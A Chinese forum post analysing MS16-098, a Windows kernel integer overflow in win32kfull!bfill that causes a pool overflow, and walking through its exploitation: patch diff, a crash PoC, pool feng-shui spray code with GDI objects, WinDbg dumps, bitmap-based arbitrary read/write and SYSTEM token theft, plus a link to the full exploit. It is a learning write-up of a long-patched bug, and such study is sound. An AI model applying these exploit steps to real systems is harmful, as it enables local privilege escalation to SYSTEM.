首页
社区
课程
招聘
[原创]MS16-098 Windows内核池溢出漏洞分析及利用
发表于: 2021-5-10 22:01 9857

[原创]MS16-098 Windows内核池溢出漏洞分析及利用

2021-5-10 22:01
9857

前段时间找暑假实习时被问到内核池,显然我是不懂的,于是就找了一个洞来学习一下,如果哪里分析得有问题希望师傅们斧正。

win10-1511-x64

MS16-098是由整数溢出漏洞导致的池溢出 (pool overflow) 继而使用Abusing Bitmap技术获取到 system token 完成权限提升,其中池风水和使用 GDI objects 获得任意地址读写的技术是学习的重点。

漏洞位于win32kfull!bfill函数中,通过对v19的精心构造可以造成0x30*v19溢出,从而导致申请一个很小的pool,而原本应该是一个很大的pool,显然这会造成池溢出,并且在该函数最后释放这个pool时触发BSOD。

修复前:

修复后:

那么这个池溢出如何利用呢?我认为应该有以下思路

到达漏洞函数

构造内核池风水

控制溢出的内容

借助bitmap实现任意地址读写

steal system token

这一步我觉得对我这种菜鸡来说是最难的、几乎无法独立实现的。我尝试在ida中通过交叉引用找到一个Nt开头的函数,我认为这是内核中系统调用的接口,是可以通过用户态api直接到达的,然后在每个调用点下断,不断尝试;并且通过一些参数函数的名字判断其功能;找之前类似模块的漏洞的poc。这需要极大的耐心和时间成本,而我是个 windows 萌新 ,所以我还是去找了网上很多现成的poc,毕竟这是个几年前的洞。

以上是可以触发BSOD的代码,至于为什么是0x3fe010x156,我觉得只要能造成溢出应该没啥大问题。

在构造池风水前我们需要知道的是:

内核池每页大小为 0x1000 字节,比这个还要大的分配请求会被分配到更大的内核池

任何请求大小超过 0x808 字节会被分配到内存页的起始处

连续的请求会从页的末尾分配

分配的对象通常会加上 0x10 字节大小的 pool header,比如请求 0x50 字节的内存,实际包含了 pool header 会分配 0x60 字节大小的内存。

还有一点很重要,上文poc造成崩溃的原因是BAD_POOL_HEADER,也就是bfill函数最后释放了我们溢出的内存,而在释放时会检查相邻对象的pool header,溢出导致了它被破坏了所以造成crash。如果这块溢出的内存被分配在内存页的末尾,也就不存在next chunk那么就不会因此造成崩溃。

上文提到整数溢出为0x50,也就是分配了0x60的内存,我们需要留足够的空间来存放它。

首先分配5000个大小为 0xf80 字节的 bitmap 对象,来创建新的内存页。

继续分配两个accelerator对象,每个大小0x40,也就是0x80,正好填充新分配内存页的空缺。

接着释放之前分配的0xf80的bitmap对象,这样内存页的开始处就空出来 0xf80 字节的空间。

接下来需要填充前面空下来的0xf80字节的空间,网上的前辈是这样说的:

然后分配了 5000 个大小为 0xbc0 字节的对象,这个大小非常关键,因为如果 bitmap 对象直接被放到受到攻击的对象旁边的话,溢出不会覆盖到 bitmap 对象关键的成员变量(后面会详细讲)。此外,作者通过反复试验找到了 CreateEllipticRgn

其实我觉得这个对象的大小只要对于我们溢出的内存对0x30取余为0x28就没问题(这个后面详细说),并且也没必要去找函数,直接用bitmap自定义大小不好吗。。。这只是我的猜测,没有去实际调试,因为我已经被蓝屏搞吐了。。。如果有什么问题,欢迎师傅们提出。

有了前面的0xbc0,末尾的0x80,那么还剩0x3c0,再分配5000个大小为0x3c0字节的bitmap对象填充每页内存页剩余的空间,也就是我们会去控制的bitmap。

最后一步是把内存中所有0x60大小的先占满了,那么后面分配有溢出的对象时几乎肯定会落在我们的内存布局中,再释放末尾的0x80的accelerator

最后的内存布局:

在ida中对bfill进行分析,发现这块内存只在调用bConstructGET函数时被用到

接着在ida中对win32kbase!bConstructGET进行分析,结合动态调试发现:bConstructGET函数会遍历points数组相邻的两个点并通过AddEdgeToGET对目标内存赋值。然而这个函数有点复杂,想要控制溢出的内容并且不破坏pool header没那么简单。

在调用AddEdgeToGET时下断,查看池风水

查看points数组在内存中的分布,观察到AddEdgeToGET第四个参数是points[0],而第三个参数在一次循环中为0,并且我们给的xy都被左移了4位

为了到达我们想要控制的bitmap,需要绕过以下几个return,使得每次循环覆写的目标内存+=0x30

我们的目标是覆写sizlBitmap,然后通过Get\SetBitmapBits覆写下一个Bitmap的pvscan0,使其作为一个Manager

0xc58 = 0x30 * 41 + 0x28 !

之前的构造池风水就是为了我们刚好可以利用AddEdgeToGET开头的代码对目标内存的赋值来更改sizlBitmap

对于bConstructGET这个函数,我的理解是,每调用一次PolylineTo都会根据所给points对目标内存从头到尾进行一次赋值。

结合对AddEdgeToGET函数的逆向,points如下构造,需要注意的是points前后都多了一个(0,0)

接着我们成功让我们的exp从FillPath函数中 返回(无数次BSOD。。。),但是在程序退出的时候还是造成了crash,原因应该是之前对内存的赋值破坏了堆风水中一些对象的header导致在程序退出释放这些对象的时候触发异常。也就是说我们需要清理现场。

找到被我们覆盖了sizlBitmap,覆盖下一个bitmap的pvscan0实现任意地址写(详细的方法可以找一下abusing bitmap相关的文章,这里不再赘述)。

在尝试寻找被覆盖的bitmap时,再次蓝屏,但原因很清晰,在调用GetBitmapBits时访问了无效的地址

幸好这个地址是可以在用户态直接申请的,为了方便可以直接对00000001`00000000全赋值1,就可以进入一个看似正常的分支

然后,他又蓝屏了!

之前被我们修改的bitmap的那页内存被取消了映射

观察这两个相邻的bitmap,hHmgr hsurf 在被覆盖时改成了相同的,我猜测原因在这。我们将它改回来,终于exp可以正常退出!

通过EnumDeviceDrivers拿到kernel基地址,加载ntoskrnl.exe模块拿到PsInitialSystemProcess的偏移,再用bitmap去读取其在内核中的值拿到system token。

最后遍历ActiveProcessLinks替换token

完整EXP:https://github.com/s1vona/CVEs/blob/main/ms16-098/ms16-098.cpp

https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/

https://xz.aliyun.com/t/2919

https://security.tencent.com/index.php/blog/msg/117

 
v19 = *((_DWORD *)a1 + 1);
if ( v19 > 0x14 )
{
  result = (__int64)PALLOCMEM2(0x30 * v19, 'gdeG', 0);
  v20 = (char *)result;
  if ( !result )
    return result;
  v33 = 1;
}
v19 = *((_DWORD *)a1 + 1);
if ( v19 > 0x14 )
{
  result = (__int64)PALLOCMEM2(0x30 * v19, 'gdeG', 0);
  v20 = (char *)result;
  if ( !result )
    return result;
  v33 = 1;
}
  v19 = *((_DWORD *)a1 + 1);
  if ( v19 > 0x14 )
  {
    if ( UIntMult(0x30u, v19, &puResult) < 0 )
      return 0i64;
    v20 = (char *)PALLOCMEM2(puResult, 'gdeG', 0);
    v35 = v20;
    if ( !v20 )
      return 0i64;
    v33 = 1;
  }
 
HRESULT __stdcall UIntMult(UINT uMultiplicand, UINT uMultiplier, UINT *puResult)
{
  unsigned __int64 v3; // r9
  HRESULT result; // eax
 
  v3 = uMultiplier * (unsigned __int64)uMultiplicand;
  if ( v3 > 0xFFFFFFFF )
  {
    *puResult = -1;
    result = 0x80070216;
  }
  else
  {
    *puResult = v3;
    result = 0;
  }
  return result;
}
  v19 = *((_DWORD *)a1 + 1);
  if ( v19 > 0x14 )
  {
    if ( UIntMult(0x30u, v19, &puResult) < 0 )
      return 0i64;
    v20 = (char *)PALLOCMEM2(puResult, 'gdeG', 0);
    v35 = v20;
    if ( !v20 )
      return 0i64;
    v33 = 1;
  }
 
HRESULT __stdcall UIntMult(UINT uMultiplicand, UINT uMultiplier, UINT *puResult)
{
  unsigned __int64 v3; // r9
  HRESULT result; // eax
 
  v3 = uMultiplier * (unsigned __int64)uMultiplicand;
  if ( v3 > 0xFFFFFFFF )
  {
    *puResult = -1;
    result = 0x80070216;
  }
  else
  {
    *puResult = v3;
    result = 0;
  }
  return result;
}
//Create a Point array
static POINT points[0x3fe01];
// Get Device context of desktop hwnd
HDC hdc = GetDC(NULL);
// Get a compatible Device Context to assign Bitmap to
HDC hMemDC = CreateCompatibleDC(hdc);
// Create Bitmap Object
HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);
// Select the Bitmap into the Compatible DC
HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
//Begin path
BeginPath(hMemDC);
for (int i = 0; i < 0x156; i++) {
    PolylineTo(hMemDC, points, 0x3fe01); //(0x3fe01*0x156 + 1) * 0x30  = 0x1.0000.0050
}
// End the path
EndPath(hMemDC);
// Fill the path
FillPath(hMemDC);
//Create a Point array
static POINT points[0x3fe01];
// Get Device context of desktop hwnd
HDC hdc = GetDC(NULL);
// Get a compatible Device Context to assign Bitmap to
HDC hMemDC = CreateCompatibleDC(hdc);
// Create Bitmap Object
HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);
// Select the Bitmap into the Compatible DC
HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
//Begin path
BeginPath(hMemDC);
for (int i = 0; i < 0x156; i++) {
    PolylineTo(hMemDC, points, 0x3fe01); //(0x3fe01*0x156 + 1) * 0x30  = 0x1.0000.0050
}
// End the path
EndPath(hMemDC);
// Fill the path
FillPath(hMemDC);
 
 
CreateBitmap(1670, 2, 1, 8, NULL);// allocation size 0xf80 = 0xd10(1670*2*8/8) + 0x258 + 0x10(pool header)
//这里的0x258不同的系统不一样,需要具体调试
CreateBitmap(1670, 2, 1, 8, NULL);// allocation size 0xf80 = 0xd10(1670*2*8/8) + 0x258 + 0x10(pool header)
//这里的0x258不同的系统不一样,需要具体调试
for (INT i = 0; i < 7000; i++) {
        hAccel = CreateAcceleratorTableA(lpAccel, 1);
        hAccel2 = CreateAcceleratorTableW(lpAccel, 1);
        if (!hAccel || !hAccel2) {
            printf("[%d]Create Accel error:%X\n",i, GetLastError());
            exit(1);
        }
        pAccels[i] = hAccel;
        pAccels2[i] = hAccel2;
    }
for (INT i = 0; i < 7000; i++) {
        hAccel = CreateAcceleratorTableA(lpAccel, 1);
        hAccel2 = CreateAcceleratorTableW(lpAccel, 1);
        if (!hAccel || !hAccel2) {
            printf("[%d]Create Accel error:%X\n",i, GetLastError());
            exit(1);
        }
        pAccels[i] = hAccel;
        pAccels2[i] = hAccel2;
    }
 
for (int k = 0; k < 5000; k++) {
        CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0
    }
for (int k = 0; k < 5000; k++) {
        CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0
    }
 
for (int k = 0; k < 5000; k++) {
    bmp = CreateBitmap(0x54, 1, 1, 32, NULL); //size  = 3c0 = 0x150(0x54*1*32/8) + 0x258 + 0x10
    bitmaps[k] = bmp;
}
for (int k = 0; k < 5000; k++) {
    bmp = CreateBitmap(0x54, 1, 1, 32, NULL); //size  = 3c0 = 0x150(0x54*1*32/8) + 0x258 + 0x10
    bitmaps[k] = bmp;
}
void AllocateClipBoard2(unsigned int size) {
    BYTE* buffer;
    buffer = (PBYTE)malloc(size);
    memset(buffer, 0x41, size);
    buffer[size - 1] = 0x00;
    const size_t len = size;
    HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
    memcpy(GlobalLock(hMem), buffer, len);
    GlobalUnlock(hMem);
    //OpenClipboard(0);
    //EmptyClipboard();
    SetClipboardData(CF_TEXT, hMem);
    //CloseClipboard();
    GlobalFree(hMem);
}
·
·
·
    // Allocate 17500 clipboard objects of size 0x60 to fill any free memory locations of size 0x60
    for (int k = 0; k < 1700; k++) { //1500
        AllocateClipBoard2(0x30);
    }
    // delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray.
    for (int k = 2000; k < 4000; k++) {
        DestroyAcceleratorTable(pAccels[k]);
        DestroyAcceleratorTable(pAccels2[k]);
    }
void AllocateClipBoard2(unsigned int size) {
    BYTE* buffer;
    buffer = (PBYTE)malloc(size);
    memset(buffer, 0x41, size);
    buffer[size - 1] = 0x00;
    const size_t len = size;
    HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
    memcpy(GlobalLock(hMem), buffer, len);
    GlobalUnlock(hMem);
    //OpenClipboard(0);
    //EmptyClipboard();
    SetClipboardData(CF_TEXT, hMem);
    //CloseClipboard();
    GlobalFree(hMem);
}
·
·
·
    // Allocate 17500 clipboard objects of size 0x60 to fill any free memory locations of size 0x60
    for (int k = 0; k < 1700; k++) { //1500
        AllocateClipBoard2(0x30);
    }
    // delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray.
    for (int k = 2000; k < 4000; k++) {
        DestroyAcceleratorTable(pAccels[k]);
        DestroyAcceleratorTable(pAccels2[k]);
    }
|---------------------|---------------------|------------|
| 0xbc0(region alloc) | 0x3c0(bitmap alloc) | 0x80(free) |
|---------------------|---------------------|------------|
|---------------------|---------------------|------------|
| 0xbc0(region alloc) | 0x3c0(bitmap alloc) | 0x80(free) |
|---------------------|---------------------|------------|
 
while ( (unsigned __int64)first < v13 )
  {
    v11 = AddEdgeToGET((struct EDGE *)a2, dst, second, first, a4);
    second = first;
    dst = v11;
    ++first;
  }
while ( (unsigned __int64)first < v13 )
  {
    v11 = AddEdgeToGET((struct EDGE *)a2, dst, second, first, a4);
    second = first;
    dst = v11;
    ++first;
  }
 
0: kd> dc 0xfffff901711f2fb0-10
fffff901`711f2fa0  23060002 67646547 00000001 00000080  ...#Gedg........
fffff901`711f2fb0  00000000 00000000 00000000 00000000  ................
fffff901`711f2fc0  2d040004 63617355 32033abb e81ef166  ...-Usac.:.2f...
fffff901`711f2fd0  00000000 00000000 00000000 00000000  ................
fffff901`711f2fe0  00000000 00000000 00000001 00000080  ................
fffff901`711f2ff0  00000000 00000000 00000000 00000000  ................
fffff901`711f3000  23bc0000 34306847 3203257b e81ef166  ...#Gh04{%.2f...
fffff901`711f3010  0204173c 00000000 00000000 00000000  <...............
 
0: kd> dc fffff901`711f3000 + bc0
fffff901`711f3bc0  233c00bc 35306847 00000000 00000000  ..<#Gh05........
fffff901`711f3bd0  01051f10 00000000 00000000 00000000  ................
fffff901`711f3be0  00000000 00000000 00000000 00000000  ................
fffff901`711f3bf0  01051f10 00000000 00000000 00000000  ................
fffff901`711f3c00  00000000 00000000 00000054 00000001  ........T.......
fffff901`711f3c10  00000150 00000000 711f3e28 fffff901  P.......(>.q....
fffff901`711f3c20  711f3e28 fffff901 00000150 0000304c  (>.q....P...L0..
fffff901`711f3c30  00000006 00010000 00000000 00000000  ................
 
0: kd> dc fffff901`711f3000 + bc0 + 1000
fffff901`711f4bc0  233c00bc 35306847 00000000 00000000  ..<#Gh05........
fffff901`711f4bd0  01051f11 00000000 00000000 00000000  ................
fffff901`711f4be0  00000000 00000000 00000000 00000000  ................
fffff901`711f4bf0  01051f11 00000000 00000000 00000000  ................
fffff901`711f4c00  00000000 00000000 00000054 00000001  ........T.......
fffff901`711f4c10  00000150 00000000 711f4e28 fffff901  P.......(N.q....
fffff901`711f4c20  711f4e28 fffff901 00000150 0000304d  (N.q....P...M0..
fffff901`711f4c30  00000006 00010000 00000000 00000000  ................
0: kd> dc 0xfffff901711f2fb0-10
fffff901`711f2fa0  23060002 67646547 00000001 00000080  ...#Gedg........
fffff901`711f2fb0  00000000 00000000 00000000 00000000  ................
fffff901`711f2fc0  2d040004 63617355 32033abb e81ef166  ...-Usac.:.2f...
fffff901`711f2fd0  00000000 00000000 00000000 00000000  ................
fffff901`711f2fe0  00000000 00000000 00000001 00000080  ................
fffff901`711f2ff0  00000000 00000000 00000000 00000000  ................
fffff901`711f3000  23bc0000 34306847 3203257b e81ef166  ...#Gh04{%.2f...
fffff901`711f3010  0204173c 00000000 00000000 00000000  <...............
 
0: kd> dc fffff901`711f3000 + bc0
fffff901`711f3bc0  233c00bc 35306847 00000000 00000000  ..<#Gh05........
fffff901`711f3bd0  01051f10 00000000 00000000 00000000  ................
fffff901`711f3be0  00000000 00000000 00000000 00000000  ................
fffff901`711f3bf0  01051f10 00000000 00000000 00000000  ................
fffff901`711f3c00  00000000 00000000 00000054 00000001  ........T.......
fffff901`711f3c10  00000150 00000000 711f3e28 fffff901  P.......(>.q....
fffff901`711f3c20  711f3e28 fffff901 00000150 0000304c  (>.q....P...L0..
fffff901`711f3c30  00000006 00010000 00000000 00000000  ................
 
0: kd> dc fffff901`711f3000 + bc0 + 1000
fffff901`711f4bc0  233c00bc 35306847 00000000 00000000  ..<#Gh05........
fffff901`711f4bd0  01051f11 00000000 00000000 00000000  ................
fffff901`711f4be0  00000000 00000000 00000000 00000000  ................
fffff901`711f4bf0  01051f11 00000000 00000000 00000000  ................
fffff901`711f4c00  00000000 00000000 00000054 00000001  ........T.......
fffff901`711f4c10  00000150 00000000 711f4e28 fffff901  P.......(N.q....
fffff901`711f4c20  711f4e28 fffff901 00000150 0000304d  (N.q....P...M0..
fffff901`711f4c30  00000006 00010000 00000000 00000000  ................
0: kd> dd 0xfffff90140786040
fffff901`40786040  00000000 00000000 00000010 00000020
fffff901`40786050  00000000 00000000 00000000 00000000
fffff901`40786060  00000000 00000000 00000000 00000000
fffff901`40786070  00000000 00000000 00000000 00000000
fffff901`40786080  00000000 00000000 00000000 00000000
fffff901`40786090  00000000 00000000 00000000 00000000
fffff901`407860a0  00000000 00000000 00000000 00000000
fffff901`407860b0  00000000 00000000 00000000 00000000
0: kd> dd 0xfffff90140786040
fffff901`40786040  00000000 00000000 00000010 00000020
fffff901`40786050  00000000 00000000 00000000 00000000
fffff901`40786060  00000000 00000000 00000000 00000000
fffff901`40786070  00000000 00000000 00000000 00000000
fffff901`40786080  00000000 00000000 00000000 00000000
fffff901`40786090  00000000 00000000 00000000 00000000
fffff901`407860a0  00000000 00000000 00000000 00000000

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2021-5-11 18:29 被艾斯torepwn编辑 ,原因: 后面的内容没有显示出来
收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//